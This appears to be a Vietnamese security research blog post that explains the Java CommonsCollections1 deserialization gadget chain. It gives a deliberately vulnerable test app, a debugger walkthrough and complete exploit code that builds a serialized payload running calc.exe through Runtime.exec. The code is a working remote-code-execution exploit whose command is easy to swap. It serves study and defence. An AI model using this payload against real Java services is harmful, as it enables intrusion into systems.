# Đi sâu vào gadgetchain trong insecure deserialization 😏 <style>body {text-align: justify}</style> Dưới đây là bài blog phân tích lại gadgetchain CommonsCollections1. ### 1. Dựng môi trường test **Môi trường:** - JDK 1.7.0_80 - Commons Collections version 3.1 **Mã nguồn:** Đây chỉ đơn giản là 1 console app thực hiện đọc và deserialize data từ input file. ```java package org.example; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Scanner; public class Main { public Main() { } public static void main(String[] args) { Scanner scanner = new Scanner(System.in); System.out.print("Enter the name of the file to deserialize: "); String filename = scanner.nextLine(); try { FileInputStream fileIn = new FileInputStream(filename); ObjectInputStream in = new ObjectInputStream(fileIn); Object obj = in.readObject(); in.close(); fileIn.close(); System.out.println("Deserialized object: " + obj.toString()); } catch (ClassNotFoundException | IOException var6) { var6.printStackTrace(); } } } ``` **References:** - https://thegreycorner.com/2016/05/01/commoncollections-deserialization.html - https://tsublogs.wordpress.com/2023/02/16/javasecurity101-2-java-deserialization-overview/ - https://nhienit.wordpress.com/2021/11/25/commonscollection-gadget-chain-for-learning-purposes/ - https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2/ - https://speakerdeck.com/greendog/deserialization-vulnerabilities?slide=3 - **Reflection API**: https://www.oracle.com/technical-resources/articles/java/javareflection.html - **Dynamic Proxy**: https://www.baeldung.com/java-dynamic-proxies ### 2. Reproduce và debug **Reproduce:** - Tạo CC1 payload bằng ysoserial và lưu vào file `ysoserial_cc1.bin`. ![](https://i.imgur.com/N2G4dfA.png) - Thực thi chương trình và truyền đường dẫn file `ysoserial_cc1.bin` vào input để thực hiện deserialize. ![](https://i.imgur.com/BMbQJ8m.png) &rarr; Tiến trình `calc.exe` được khởi chạy thành công. **Debug** Dựa vào gadgetchain CC1 do ysoserial cung cấp, ta có thể khái quát gadgetchain như sau: ```java ObjectInputStream.readObject() > AnnotationInvocationHandler.readObject() >> Map(Proxy).entrySet() >>> AnnotationInvocationHandler.invoke() >>>> LazyMap.get() >>>>> ChainedTransformer.transform() >>>>>> ConstantTransformer.transform() >>>>>> InvokerTransformer.transform() Runtime.getRuntime() >>>>>> InvokerTransformer.transform() Runtime@ >>>>>> InvokerTransformer.transform() Runtime.exec("calc.exe") ``` Để dễ debug, mình đặt breakpoint tại hàm `Runtime.exec()` vì gadgetchain sẽ gọi `calc.exe` bằng hàm đó. ![](https://i.imgur.com/WBFDUDR.png) Thực thi chương trình và truyền đường dẫn file `ysoserial_cc1.bin` vào input, ta bắt đầu debug. Đầu tiên, `ObjectInputStream.readObject()` được gọi để bắt đầu deserialize. ![](https://i.imgur.com/aU5rnSO.png) Khi đó, hàm `ObjectInputStream.readObject0()` và chỉ tới hàm `ObjectInputStream.readOrdinaryObject()`. ![](https://i.imgur.com/YRTSAdZ.png) Tiếp tục, `ObjectInputStream.readSerialData(obj, desc)` được thực thi, trong đó `obj` chính là `AnnotationInvocationHandler`. ![](https://i.imgur.com/UkGj9g0.png) Lúc này, thông qua hàm `invokeReadObject` với `obj` là `AnnotationInvocationHandler` và `this` chính là `ObjectInputStream` (serialized payload), ![](https://i.imgur.com/WrWGMkS.png) hàm `AnnotationInvocationHandler.readObject()` được gọi. ![](https://i.imgur.com/v8D25vV.png) Tiếp tục F7 vào, lúc này this.memberValues là 1 `$Proxy0` instance, trực tiếp gọi đến hàm `entrySet()`. Hay nói cách khác, `Map(Proxy).entrySet()`. ![](https://i.imgur.com/WUTCkhT.png) Lúc này, hàm `invoke()` của `AnnotationInvocationHandler` được gọi do tính chất của lớp dynamic proxy trên. Có thể thấy, lúc này this.memberValues đã là 1 LazyMap instance &rarr; `LazyMap.get()` được gọi. ![](https://i.imgur.com/XSoWzta.png) Tại bước `LazyMap.get()` này, dễ dàng pass được điều kiện `super.map.containsKey(key)` vì chỉ cần key không phải là giá trị null là được. Tiếp theo, ta thấy `this.factory` là một object của ChainedTransformer nên `ChainedTransformer.transform()` được gọi. ![](https://i.imgur.com/mlXDN33.png) Tại đây, 1 vòng lặp transform gồm 5 lần lặp đối với biến `object` được thực thi. ![](https://i.imgur.com/Kh2a9gB.png) - **Vòng lặp 1:** `ConstantTransformer.transform()` chỉ đơn giản trả về 1 class `java.lang.Runtime` và gán vào biến `object` (trong vòng lặp). ![](https://i.imgur.com/jvhCRDj.png) - **Vòng lặp 2:** `InvokerTransformer.transform()` Lúc này `input` đang là 1 class `java.lang.Runtime` &rarr; `cls` là 1 class `java.lang.Class` &rarr; `method` là 1 method `getMethod(String, Class[])` &rarr; `method.invoke(input, this.iArgs)` có nghĩa là class `java.lang.Runtime` sẽ `getMethod("getRuntime",Class[])`, hay nói cách khác nó sẽ trả về method `java.lang.Runtime.getRuntime()` và gán vào biến `object` của vòng lặp. ![](https://i.imgur.com/tybBxvi.png) - **Vòng lặp 3:** `InvokerTransformer.transform()` Lúc này input đang là 1 method `java.lang.Runtime.getRuntime()` &rarr; `cls` là 1 class `java.lang.reflect.Method` &rarr; `method` là 1 method `invoke(Object, Object)` &rarr; `method.invoke(input, this.iArgs)` có nghĩa là `java.lang.Runtime.getRuntime()` được invoke, hay nói cách khác nó sẽ trả về object `Runtime` và gán vào biến `object` của vòng lặp. ![](https://i.imgur.com/qXAbpe6.png) - **Vòng lặp 4:** `InvokerTransformer.transform()` Lúc này input đang là 1 object `Runtime` &rarr; `cls` là 1 class `java.lang.Runtime` &rarr; `method` là 1 method `Runtime.exec(String)` &rarr; `method.invoke(input, this.iArgs)` có nghĩa là object `Runtime` thực thi hàm `Runtime.exec("calc.exe")` do `this.iArgs` có 1 element là string `calc.exe`. ![](https://i.imgur.com/91IrN62.png) Đến vòng lặp thứ 5, tiến trình `calc.exe` đã được thực thi và ta đã RCE thành công. ![](https://i.imgur.com/9EGQZN4.png) Kết lại, cái hay của gadgetchain này nằm ở chỗ sử dụng `(Map)Proxy.entrySet()` để invoke `LazyMap.get()`. #### 3. Viết mã khai thác Mã khai thác sau sẽ tạo payload CC1 và ghi nó vô file. ```java package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonsCollections1 { public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { // Command String[] execArgs = {"calc.exe"}; // Create a ChainTransformer to invoke that command. final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // Create a LazyMap Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); // Init a `sun.reflect.annotation.AnnotationInvocationHandler` object Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); final Constructor<?> constructor = cls.getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler lazyMapInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map evilProxy = (Map) Proxy.newProxyInstance(CommonsCollections1.class.getClassLoader(), new Class[]{Map.class}, lazyMapInvocationHandler); InvocationHandler serializedProxyInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, evilProxy); serialize(serializedProxyInvocationHandler); } public static void serialize(Object object) throws IOException { FileOutputStream fileOut = new FileOutputStream("payload_cc1.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(object); out.close(); fileOut.close(); } } ``` Thực thi mã khai thác để có payload ở file `payload_cc1.bin`. Chạy chương trình chính, truyền `payload_cc1.bin` làm input và ta trigger được `calc.exe` thành công. ![](https://i.imgur.com/3ukdbay.png) ###### tags: `research`, `insecure-deserialization`, `java`, `commonscollections1`